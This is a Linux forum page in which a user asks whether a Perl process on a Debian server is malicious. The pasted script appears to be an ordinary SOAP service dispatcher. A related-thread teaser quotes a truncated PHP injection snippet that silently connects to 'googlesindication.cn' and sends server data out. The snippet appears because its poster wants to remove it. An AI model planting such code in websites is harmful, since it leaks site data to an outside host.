Malicious perl script Post: 302992334

Sponsored Content

Operating Systems Linux Debian Malicious perl script Post 302992334 by dadprpus on Thursday 23rd of February 2017 08:54:33 PM

02-23-2017

Registered User

tried to do the

Code:

1s -1 /proc/4600

and the other. Terminal said there was no such thing as 1s. I am using -bash: in front of everything but the| grep perl revealed 2 instances of perl.
usr/bin/perl and usr/sbin/hspc-plugin-rpc.fcgi which contained

Code:

use strict;
use CGI::Fast();

use Pod::WSDL;
use SOAP::Lite;
use SOAP::Transport::HTTP;

use HSPC::Config;
use HSPC::Plugin::SOAP::Common;
use HSPC::Plugin::SOAP::Struct;
use HSPC::Plugin::SOAP::PP;

$ENV{"plugin_soap_common"} = HSPC::Plugin::SOAP::Common->new();

my $remote_uri = "https://".$CONFIG{"SERVER_NAME"}.":".$CONFIG{"SERVER_PORT"}."/HSPC/Plugin/SOAP";
my $local_uri = "https://127.0.0.1:".$CONFIG{"SERVER_PORT"}."/HSPC/Plugin/SOAP";

my $cgi = SOAP::Transport::HTTP::FCGI
	-> dispatch_with({
		$remote_uri."/WebServices"	=> "HSPC::Plugin::SOAP::WebServices",
		$local_uri."/WebServices"	=> "HSPC::Plugin::SOAP::WebServices",
		$remote_uri."/Common"		=> "HSPC::Plugin::SOAP::Common",
		$local_uri."/Common"		=> "HSPC::Plugin::SOAP::Common",
		$remote_uri."/PP"			=> "HSPC::Plugin::SOAP::PP",
		$local_uri."/PP"			=> "HSPC::Plugin::SOAP::PP",
		$remote_uri."/PM"			=> "HSPC::Plugin::SOAP::PM",
		$local_uri."/PM"			=> "HSPC::Plugin::SOAP::PM",
		$remote_uri."/DM"			=> "HSPC::Plugin::SOAP::DM",
		$local_uri."/DM"			=> "HSPC::Plugin::SOAP::DM",
	})
	-> handle
;

0;

I have no idea if this is suppose to be here or not.

dadprpus

View Public Profile for dadprpus

Find all posts by dadprpus

7 More Discussions You Might Find Interesting

1. Shell Programming and Scripting

remove malicious codes from a file

Hello, Please advise a script/command to remove the following line for a file <?php error_reporting(0); $fn = "googlesindication.cn"; $fp = fsockopen($fn, 80, $errno, $errstr, 15); if (!$fp) { } else { $query='site='.$_SERVER; $out = "GET /links.php?".$query." HTTP/1.1\r\n"; ...

2. Shell Programming and Scripting

Anti-malicious files and viruses

Hello I ask you how to make a Anti-malicious files and viruses Or if one of you a small example of the work on the same place and I hope my request I want a small patch or the process of examination Virus http://www.google.jo/images/cleardot.gif ---------- Post updated...

3. Cybersecurity

How to analyze malicious code

A series on The H about analyzing potentially malicious code flying around on the net. Pretty well written, and a nice read for those interested in how exploits work: CSI:Internet - Alarm at the pizza service CSI:Internet - The image of death CSI:Internet - PDF timebomb CSI:Internet -...

4. Shell Programming and Scripting

calling a perl script with arguments from a parent perl script

I am trying to run a perl script which needs input arguments from a parent perl script, but doesn't seem to work. Appreciate your help in this regard. From parent.pl $input1=123; $input2=abc; I tried calling it with system("/usr/bin/perl child.pl $input1 $input2"); and `perl...

5. Shell Programming and Scripting

Perl : embedding java script with cgi perl script

Hi All, I am aware that html tags can be embedded in cgi script as below.. In the same way is it possible to embed the below javascript in perl cgi script ?? print("<form action="action.htm" method="post" onSubmit="return submitForm(this.Submitbutton)">"); print("<input type = "text"...

6. Shell Programming and Scripting

Malicious pl script, what does it do

Hello, i found and malicious looking script on my server, here is its code safelly pasted as a text on pastebin: Posting links to pastebin scripts are forbidden at this site. Please what does this script do? It has .pl extension and is on shared cpanel hosting account

7. Programming

PERL: In a perl-scripttTrying to execute another perl-script that SETS SOME VARIABLES !

I have reviewed many examples on-line about running another process (either PERL or shell command or a program), but do not find any usefull for my needs way. (Reviewed and not useful the system(), 'back ticks', exec() and open()) I would like to run another PERL-script from first one, not...

LEARN ABOUT DEBIAN

soap::wsdl::deserializer::som

SOAP::WSDL::Deserializer::SOM(3pm)			User Contributed Perl Documentation			SOAP::WSDL::Deserializer::SOM(3pm)

NAME

       SOAP::WSDL::Deserializer::SOM - Deserializer SOAP messages into SOM objects

SYNOPSIS

	use SOAP::WSDL;
	use SOAP::WSDL::Deserializer::SOM;
	use SOAP::WSDL::Factory::Deserializer;
	SOAP::WSDL::Factory::Deserializer->register( '1.1', __PACKAGE__ );

DESCRIPTION

       Deserializer for creating SOAP::Lite's SOM object as result of a SOAP call.

       This package is here for two reasons:

       o   Compatibility

	   You don't have to change the rest of your SOAP::Lite based app when switching to SOAP::WSDL, but can just use
	   SOAP::WSDL::Deserializer::SOM to get back the same objects as you were used to.

       o   Completeness

	   SOAP::Lite covers much more of the SOAP specification than SOAP::WSDL.

	   SOAP::WSDL::Deserializer::SOM can be used for content which cannot be deserialized by SOAP::WSDL::Deserializer::SOAP11.  This may be
	   XML including mixed content, attachements and other XML data not (yet) handled by SOAP::WSDL::Deserializer::SOAP11.

       SOAP::WSDL::Deserializer::SOM is a subclass of SOAP::Deserializer from the SOAP::Lite package.

METHODS

   deserialize
       Deserializes a XML sting into a SOAP::SOM object. Returns a SOAP::Fault object on deserialization errors.

   generate_fault
       Dies with a SOAP::Fault object.

USAGE

       SOAP::WSDL::Deserializer will not autoregister itself - to use it for a particular SOAP version just use the following lines:

	my $soap_version = '1.1'; # or '1.2', further versions may appear.

	use SOAP::WSDL::Deserializer::SOM;
	use SOAP::WSDL::Factory::Deserializer;
	SOAP::WSDL::Factory::Deserializer->register( $soap_version, __PACKAGE__ );

DIFFERENCES FROM OTHER CLASSES

   Differences from SOAP::Lite
       o   No on_fault handler

	   You cannot specify what to do when an error occurs - SOAP::WSDL will return a SOAP::Fault object on transport errors.

   Differences from other SOAP::WSDL::Deserializer classes
       o   generate_fault

	   SOAP::WSDL::Deserializer::SOM will die with a SOAP::Fault object on calls to generate_fault.

	   This also means that a SOAP::Fault may be thrown as exception when using

LICENSE AND COPYRIGHT

       Copyright 2004-2007 Martin Kutter.

       This file is part of SOAP-WSDL. You may distribute/modify it under the same terms as perl itself.

AUTHOR

       Martin Kutter <martin.kutter fen-net.de>

REPOSITORY INFORMATION

	$Rev: 851 $
	$LastChangedBy: kutterma $
	$Id: SOM.pm 851 2009-05-15 22:45:18Z kutterma $
	$HeadURL: https://soap-wsdl.svn.sourceforge.net/svnroot/soap-wsdl/SOAP-WSDL/trunk/lib/SOAP/WSDL/Deserializer/SOM.pm $

perl v5.10.1							    2010-12-21					SOAP::WSDL::Deserializer::SOM(3pm)